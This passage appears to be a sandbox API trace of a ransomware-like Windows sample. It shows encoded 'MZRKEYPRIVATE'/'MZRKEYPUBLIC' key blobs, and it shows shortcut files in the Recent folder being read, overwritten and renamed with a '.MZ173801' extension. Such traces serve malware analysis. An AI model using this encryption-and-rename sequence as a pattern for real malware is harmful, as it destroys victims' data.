gsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.173] GetCurrentThreadId () returned 0xab4 [0147.173] GetCurrentThreadId () returned 0xab4 [0147.173] GetCurrentThreadId () returned 0xab4 [0147.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.174] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.174] GetCurrentThreadId () returned 0xab4 [0147.174] GetCurrentThreadId () returned 0xab4 [0147.175] GetCurrentThreadId () returned 0xab4 [0147.175] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BiCkmLzhNyPE.ots.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bickmlzhnype.ots.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.175] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.175] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.175] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x498 [0147.175] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.175] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x498, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x498, lpOverlapped=0x0) returned 1 [0147.176] CloseHandle (hObject=0x280) returned 1 [0147.176] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BiCkmLzhNyPE.ots.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bickmlzhnype.ots.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.177] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x498, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x498, lpOverlapped=0x0) returned 1 [0147.178] CloseHandle (hObject=0x280) returned 1 [0147.178] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BiCkmLzhNyPE.ots.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bickmlzhnype.ots.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BiCkmLzhNyPE.ots.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bickmlzhnype.ots.lnk.mz173801")) returned 1 [0147.179] GetCurrentThreadId () returned 0xab4 [0147.179] GetCurrentThreadId () returned 0xab4 [0147.179] GetCurrentThreadId () returned 0xab4 [0147.179] GetCurrentThreadId () returned 0xab4 [0147.179] GetCurrentThreadId () returned 0xab4 [0147.179] GetCurrentThreadId () returned 0xab4 [0147.179] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3ef94f4, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3ef94f4, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf3ef94f4, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x56b, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Bim9Uz1pL.lnk", cAlternateFileName="BIM9UZ~1.LNK")) returned 1 [0147.179] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.179] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.179] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Bim9Uz1pL.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bim9uz1pl.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3ef94f4, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf3ef94f4, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf3ef94f4, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x56b)) returned 1 [0147.179] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Bim9Uz1pL.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\bim9uz1pl.lnk")) returned 0x20 [0147.179] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Bim9Uz1pL.lnk", dwFileAttributes=0x80) returned 1 [0147.181] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.181] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.182] GetCurrentThreadId () returned 0xab4 [0147.182] GetCurrentThreadId () returned 0xab4 [0147.182] GetCurrentThreadId () returned 0xab4 [0147.182] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 